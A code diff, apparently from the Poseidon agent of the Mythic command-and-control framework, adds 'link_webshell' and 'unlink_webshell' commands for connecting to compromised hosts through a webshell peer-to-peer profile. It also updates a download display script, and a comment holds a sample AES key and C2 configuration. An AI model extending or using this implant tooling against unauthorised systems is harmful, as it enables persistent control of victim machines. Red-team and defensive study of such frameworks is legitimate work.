-0,0 +1,148 @@ +package agentfunctions + +import ( + "errors" + "fmt" + "github.com/MythicMeta/MythicContainer/logging" + "github.com/MythicMeta/MythicContainer/mythicrpc" + + agentstructs "github.com/MythicMeta/MythicContainer/agent_structs" +) + +func init() { + agentstructs.AllPayloadData.Get("poseidon").AddCommand(agentstructs.Command{ + Name: "link_webshell", + Description: "Link to an agent using the webshell p2p profile", + HelpString: "link_webshell", + Version: 1, + Author: "@its_a_feature_", + MitreAttackMappings: []string{}, + SupportedUIFeatures: []string{}, + CommandAttributes: agentstructs.CommandAttribute{ + SupportedOS: []string{}, + }, + CommandParameters: []agentstructs.CommandParameter{ + { + Name: "connection", + CLIName: "connectionDictionary", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_CONNECTION_INFO, + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: true, + UIModalPosition: 1, + }, + }, + Description: "Mythic's detailed connection information", + }, + }, + TaskFunctionCreateTasking: func(taskData *agentstructs.PTTaskMessageAllData) agentstructs.PTTaskCreateTaskingMessageResponse { + response := agentstructs.PTTaskCreateTaskingMessageResponse{ + Success: true, + TaskID: taskData.Task.ID, + } + connectionInfo, err := taskData.Args.GetConnectionInfoArg("connection") + if err != nil { + logging.LogError(err, "Failed to get connection information") + response.Success = false + response.Error = err.Error() + return response + } + err = taskData.Args.RemoveArg("connection") + if err != nil { + logging.LogError(err, "Failed to remove connection data") + response.Success = false + response.Error = err.Error() + return response + } + /* + { + "host":"SPOOKY.LOCAL", + "c2_profile":{ + "name":"poseidon_tcp", + "parameters":{ + "AESPSK":{"crypto_type":"aes256_hmac","enc_key":"7JSBbGON1cHI4xtpxR0M41qQulCBD+DgyABLr6hpjFc=","dec_key":"7JSBbGON1cHI4xtpxR0M41qQulCBD+DgyABLr6hpjFc="}, + "port":"8085", + "killdate":"2024-09-06", + "encrypted_exchange_check":"true" + } + }, + "callback_uuid":"150732f5-65c6-424c-a97d-e2d2888f7856", + "agent_uuid":"80844d19-9bfc-47f9-b9af-c6b9144c0fdc", // this or callback_uuid, not both + } + */ + taskData.Args.AddArg(agentstructs.CommandParameter{ + Name: "url", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + DefaultValue: connectionInfo.C2ProfileInfo.Parameters["url"], + }) + taskData.Args.AddArg(agentstructs.CommandParameter{ + Name: "user_agent", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + DefaultValue: connectionInfo.C2ProfileInfo.Parameters["user_agent"], + }) + taskData.Args.AddArg(agentstructs.CommandParameter{ + Name: "query_param", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + DefaultValue: connectionInfo.C2ProfileInfo.Parameters["query_param"], + }) + taskData.Args.AddArg(agentstructs.CommandParameter{ + Name: "cookie_name", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + DefaultValue: connectionInfo.C2ProfileInfo.Parameters["cookie_name"], + }) + if connectionInfo.AgentUUID != "" { + response.Success = false + response.Error = "Must connect to an existing Callback. If one isn't available, use the Payload's page to create a new callback based on the payload you used." + return response + } else { + // we have the callback uuid and need the payload uuid + callbackSearchResponse, err := mythicrpc.SendMythicRPCCallbackSearch(mythicrpc.MythicRPCCallbackSearchMessage{ + AgentCallbackID: taskData.Callback.ID, + SearchCallbackUUID: &connectionInfo.CallbackUUID, + }) + if err != nil { + logging.LogError(err, "Failed to search callbacks data") + response.Success = false + response.Error = err.Error() + return response + } + if !callbackSearchResponse.Success { + logging.LogError(err, "Failed to search callbacks data") + response.Success = false + response.Error = callbackSearchResponse.Error + return response + } + if len(callbackSearchResponse.Results) == 0 { + logging.LogError(err, "Failed to remove connection data") + response.Success = false + response.Error = err.Error() + return response + } + taskData.Args.AddArg(agentstructs.CommandParameter{ + Name: "cookie_value", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + DefaultValue: callbackSearchResponse.Results[0].RegisteredPayloadUUID, + }) + taskData.Args.AddArg(agentstructs.CommandParameter{ + Name: "target_uuid", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + DefaultValue: connectionInfo.CallbackUUID, + }) + } + displayString := fmt.Sprintf("%s", connectionInfo.C2ProfileInfo.Parameters["url"].(string)) + response.DisplayParams = &displayString + + return response + }, + TaskFunctionParseArgDictionary: func(args *agentstructs.PTTaskMessageArgsData, input map[string]interface{}) error { + return args.LoadArgsFromDictionary(input) + }, + TaskFunctionParseArgString: func(args *agentstructs.PTTaskMessageArgsData, input string) error { + if len(input) > 0 { + return args.LoadArgsFromJSONString(input) + } else { + return errors.New("Must supply arguments") + } + }, + }) +} diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/unlink_webshell.go b/Payload_Type/poseidon/poseidon/agentfunctions/unlink_webshell.go new file mode 100644 index 0000000..91fe482 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agentfunctions/unlink_webshell.go @@ -0,0 +1,111 @@ +package agentfunctions + +import ( + "fmt" + agentstructs "github.com/MythicMeta/MythicContainer/agent_structs" +) + +func init() { + agentstructs.AllPayloadData.Get("poseidon").AddCommand(agentstructs.Command{ + Name: "unlink_webshell", + Description: "Unlink a webshell connection.", + HelpString: "unlink_webshell", + Version: 1, + MitreAttackMappings: []string{}, + SupportedUIFeatures: []string{}, + Author: "@its_a_feature_", + CommandAttributes: agentstructs.CommandAttribute{ + SupportedOS: []string{}, + }, + CommandParameters: []agentstructs.CommandParameter{ + { + Name: "connection", + Description: "Connection info for unlinking", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_LINK_INFO, + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + GroupName: "Modal Selection", + ParameterIsRequired: true, + }, + }, + }, + { + Name: "connectionUUID", + Description: "Existing UUID within Poseidon to unlink", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + GroupName: "Explicit UUID", + ParameterIsRequired: true, + }, + }, + }, + }, + TaskFunctionParseArgString: func(args *agentstructs.PTTaskMessageArgsData, input string) error { + args.SetArgValue("connectionUUID", input) + return nil + }, + TaskFunctionParseArgDictionary: func(args *agentstructs.PTTaskMessageArgsData, input map[string]interface{}) error { + return args.LoadArgsFromDictionary(input) + }, + TaskFunctionCreateTasking: func(taskData *agentstructs.PTTaskMessageAllData) agentstructs.PTTaskCreateTaskingMessageResponse { + response := agentstructs.PTTaskCreateTaskingMessageResponse{ + Success: true, + TaskID: taskData.Task.ID, + } + groupName, err := taskData.Args.GetParameterGroupName() + if err != nil { + response.Success = false + response.Error = err.Error() + return response + } + if groupName == "Explicit UUID" { + connectionString, err := taskData.Args.GetStringArg("connectionUUID") + if err != nil { + response.Success = false + response.Error = err.Error() + return response + } else { + taskData.Args.RemoveArg("connectionUUID") + taskData.Args.RemoveArg("connection") + taskData.Args.AddArg(agentstructs.CommandParameter{ + Name: "connection", + DefaultValue: connectionString, + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + GroupName: "Explicit UUID", + }, + }, + }) + displayString := fmt.Sprintf("from %s", connectionString) + response.DisplayParams = &displayString + } + } else { + if connectionInfo, err := taskData.Args.GetLinkInfoArg("connection"); err != nil { + response.Success = false + response.Error = err.Error() + } else if connectionInfo.CallbackUUID == "" { + response.Success = false + response.Error = "Failed to find callback UUID in connection information" + } else { + taskData.Args.RemoveArg("connection") + taskData.Args.AddArg(agentstructs.CommandParameter{ + Name: "connection", + DefaultValue: connectionInfo.CallbackUUID, + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + GroupName: "Modal Selection", + }, + }, + }) + displayString := fmt.Sprintf("from %s", connectionInfo.CallbackUUID) + response.DisplayParams = &displayString + } + } + + return response + }, + }) +} diff --git a/Payload_Type/poseidon/poseidon/browserscripts/download_new.js b/Payload_Type/poseidon/poseidon/browserscripts/download_new.js index ecfa85a..c53c689 100644 --- a/Payload_Type/poseidon/poseidon/browserscripts/download_new.js +++ b/Payload_Type/poseidon/poseidon/browserscripts/download_new.js @@ -1 +1 @@ -function(task, responses){ if(task.status.includes("error")){ const combined = responses.reduce( (prev, cur) => { return prev + cur; }, ""); return {'plaintext': combined}; }else if(task.completed){ if(responses.length > 0){ try{ let data = JSON.parse(responses[0]); return {"download":[{ "agent_file_id": data["file_id"], "variant": "contained", "name": "Download", "plaintext": "Download the file here: " }], "search": [{ "plaintext": "View on the search page here: ", "hoverText": "opens a new search page", "search": "tab=files&searchField=Filename&search=" + task.display_params, "name": "Click Me!" }]}; }catch(error){ const combined = responses.reduce( (prev, cur) => { return prev + cur; }, ""); return {'plaintext': combined}; } }else{ return {"plaintext": "No data to display..."} } }else if(task.status === "processed"){ if(responses.length > 0){ const task_data = JSON.parse(responses[0]); return {"plaintext": "Downloading a file with " + task_data["total_chunks"] + " total chunks..."}; } return {"plaintext": "No data yet..."} }else{ // this means we shouldn't have any output return {"plaintext": "Not response yet from agent..."} } } \ No newline at end of file +function(task, responses){ if(task.status.includes("error")){ const combined = responses.reduce( (prev, cur) => { return prev + cur; }, ""); return {'plaintext': combined}; }else if(task.completed){ if(responses.length > 0){ try{ let data = JSON.parse(responses[0]); return { "media": [{ "filename": `${task.display_params}`, "agent_file_id": data["file_id"], }]}; }catch(error){ const combined = responses.reduce( (prev, cur) => { return prev + cur; }, ""); return {'plaintext': combined}; } }else{ return {"plaintext": "No data to display..."} } }else{ if(responses.length > 0){ const task_data = JSON.parse(responses[0]); return {"plaintext": "Downloading a file with " + task_data["total_chunks"] + " total chunks..."}; } return {"plaintext": "No data yet..."} } } \ No newline at end of file